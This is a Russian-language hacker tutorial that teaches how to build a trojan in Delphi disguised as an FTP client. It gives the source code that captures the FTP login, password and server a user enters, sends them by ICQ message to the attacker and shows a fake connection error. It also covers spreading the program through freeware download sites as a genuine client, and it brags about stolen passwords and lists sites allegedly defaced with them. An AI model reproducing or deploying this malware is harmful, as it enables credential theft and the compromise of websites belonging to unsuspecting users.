------------------------------------------
#! /usr/share/doc/defaced/2/tandp/icqh.txt
------------------------------------------
################################################################################
################################################################################
################################################################################
################################################################################
################################################################################
### ################ ###### ############################## #####
### ##### ############## ###### ##### ############################ #####
### ###### ############# ##### ######### ########################### #####
### ####### #### ### ## ### # #### ##### ###### #####
### ####### ### ## ### #### ## ## ## ## ## ### ## #### ## #####
### ####### ## #### ## ### ## #### ## # ####### #### ## #### #####
### ####### ## #### ## ### # ##### ## # ####### #### ## #### #####
### ####### ## ## ### # #### ### # ####### ## #### #####
### ####### ## ######## ### # #### ### # ####### ######## #### #####
### ###### ### #### ## ### # #### ## ## ####### #### ## #### #####
### ##### ##### ## ### ### ## ## # #### ## ### ## #### ## #####
### ####### #### #### ## ###### ##### ###### #####
################################# ########## #################################
################################## ###### ##################################
#################################### ####################################
################################################################################
################################################################################
################################################################################
################################################################################
--------------------------------------------------------------------------------
Пароли с доставкой на ICQ ;) [ by Delfyk ]
--------------------------------------------------------------------------------
-=[ Вступление ]=-
Всё началось с того, что мне очень хотелось подефейсить сайты, да и в большом
количестве. А опыта и терпения было маловато. Вот просыпаюсь я однажды часов в
6. Лежу думаю... Пытаюсь уснуть, а тут бах. В голову такая мысля пришла. Ведь
многие пользователи просто не задумываются о безопасности своих паролей и
вбивают их куда не лень :) Осталось только придумать систему получения этих
заветных паролей. И тут на помощь приходит Delphi. На нем легко и просто можно
изготовить псевдо FTP-клиент. Представьте только последовательность:
1) Пользователь качает вашу программу.
2) Вбивает туда свои пароли.
3) Нажимает кнопку "Соединится".
4) К вам приходят его пароли.
5) А ему достается ошибка соединения ;)
Стоит эту схему один раз наладить, и к вам будут приходить пароли как СПАМ.
Теперь, количество паролей зависит только от популярности программы. Что
нравится, читай дальше...
-=[ Изготовление программы ]=-
Устанавливаем на своё железо Delphi [у меня шестая версия этого продукта]. После
запуска вы увидите открывшуюся форму. Так вот самое главное! Её надо представить
как симпатичную FTP программку [умеющую только отправлять пароли]. Только не
говорите что вы никогда не видели нормального FTP-клиента.
На форму надо повесить как минимум два больших окна [ShellListView], одно
скрытое [visible=false] окно Memo, несколько кнопочек, и три поля Edit [для
логина, пароля и ftp сервера]. Отлично :) Так, и теперь надо скачать компонент
ICQClient [для того, чтобы пароли приходили прямо на Асю. Как говорится,
наглость - второе счастье :)], лежит он на www.cabans.net. Замечу, что к
компоненту прилагается FAQ на русском языке, а также два примера. Один из них и
есть почти полноценный ICQ-клиент. Обязательно взгляните на него.
Пока я тут вводил ламеров в курс дела, вы уже установили компонент ? Отлично !
Теперь откройте свойства компонента TICQClient. В поле ICQServer и ICQPort
введите:
login.icq.com - сервер.
5190 - порт.
Помните мы там создали скрытое окно Memo? Сейчас надо сделать так, чтобы при
нажатии на кнопку "Подключится" все данные из полей Edit1, Edit2 и Edit3
добавились в скрытое окно [так легче отправлять сообщение]:
begin
pass.Lines.Clear;
pass.Lines.Add(edit1.Text); // Добавляем логин
pass.Lines.Add(edit2.Text); // Добавляем пароль
pass.Lines.Add(edit3.Text); // Добавляем имя ftp сервера
try // Пытаемся соединится с ICQ [для этого надо иметь свой ICQ номер]
ICQClient1.UIN:=337711222; // Указываем номер Аси
ICQClient1.Password:='gemoroy'; // Указываем пароль от Аси
ICQClient1.Login(0); // Соединяемся !!!
except // Если соединение не произошло
Showmessage('Интернет не подключен !'); // Выводим ошибку
end;
end;
Допустим, что ошибки не было и юзверь подконнектился к вашему номеру ICQ. Тогда
остается только отправить сообщение, содержащее пароли [у нас это окно Memo].
Жмем по компоненту и выбираем вкладку "events" [события], ищем OnLogin, щелкаем
два раза и вводим следующую белиберду:
procedure TForm1.ICQClient1Login(Sender: TObject);
begin
// Отправляем пароли на ICQ с номером 666999
ICQClient1.SendMessage( 666999, Memo1.Lines.Text);
try
// Здесь прописываем вынесение в реестр секретного ключа
// [не забудьте прописать в uses компонент registry]
reg:=tRegistry.create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('\Software\Outlook',true);
reg.WriteString('KILL','ON'); // Сам ключ
reg.free;
except
end;
Showmessage('Сервер не найден !'); // Нечто-типа ошибки соединения :)
end;
Для чего нужен секретный ключ в реестре, спросите вы... Да все для того, чтобы
при запуске программы его проверять, если он там присутствует, тогда выводить
какую-нить ошибку и закрывать программу. И тогда пользователь не сможет после
отправления своих паролей запустить эту прогу еще раз. Ну, подумайте, зачем вам
одинаковые пароли :)
Так, я там говорил что программа будет проверять ключ при запуске, вот код:
procedure TForm1.FormCreate(Sender: Tobject);
var
statusftp: String;
begin
try
reg:=tRegistry.create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('\Software\Outlook',true);
statusftp:=reg.ReadString('KILL');
reg.Free;
except
end;
if statusftp = 'ON' then // Если ключ есть
begin // Тогда обламываем пользователя
MessageDlg ('Неизвестная ошибка по адресу $85F42D.', mtError, [mbOK], 0);
application.Terminate; // И выключаем программу
end;
end;
А теперь последнее. Я описал, как подключится к ICQ и отправить сообщение, но
когда юзверь попытается закрыть программу, то перед ним появится "Экран смерти"
[Синенький экран]. Почему ? Да все, потому что программа подсоединена к серверу,
а какой-то ламер пытается ее закрыть. Исправляется эта ошибка элементарно. На
"events" закрытие программы вешаем код:
procedure TForm1.FormClose(Sender: TObject; var Action: TcloseAction);
begin
ICQClient1.LogOff;
end;
Вот и все! Особых усилий и не надо...
-=[ Раскрутка программы ]=-
С этим пунктом, я даже и не парился. Залил программу к себе на сайт www.site.ru,
за тем пошел на www.download.ru и зарегистрировал её под видом FTP-клиента ;)
Всё получилось чики-пуки. Ко мне приходят ежедневно около 10 <!> паролей. Теперь
представьте, если ее раскрутить на:
www.soft.mail.ru/author/add.html
www.freesoft.ru/author/add.html
www.freeware.ru
www.shareware.ru
www.programms.ru
www.softvariant.ru
Этот список далеко не полный. Но чтобы пароли приходили десятками в день этого
хватит ;)
-=[ Кто-же на это клюнет]=-
Думаете на это мало кто попадется ? А вот и ошибаетесь ! Ко мне приходили пароли
от бесплатных хостингов, фирм, групп и даже корпораций, а это и есть гуд :))))))
Оказывается необходимо тщательно продумать интерфейс, чтобы он, в свою очередь,
не вызвал подозрений. И описание проги должно быть качественным [без таких слов:
прога, клёво, рулез, качай скорей]. Вот децельный список взломанных, таким
образом, сайтов:
www.parus.ru
www.obshepit.ru
www.tagnet.ru
www.nalog.perm.ru
www.azovmet.ru
nordcable.telemost.ru
www.sgt.ru
www.urisprom.ru
-=[ Заключение ]=-
Надеюсь, вы впитали всю эту чрезвычайно полезную информацию и готовы зачистить
интернет от такого типа ламеров ;) Удачного вам сбора паролей. И помните -
ЛАМЕРЫ это вымирающий вид юзверей :) Скоро их занесут в красную книгу...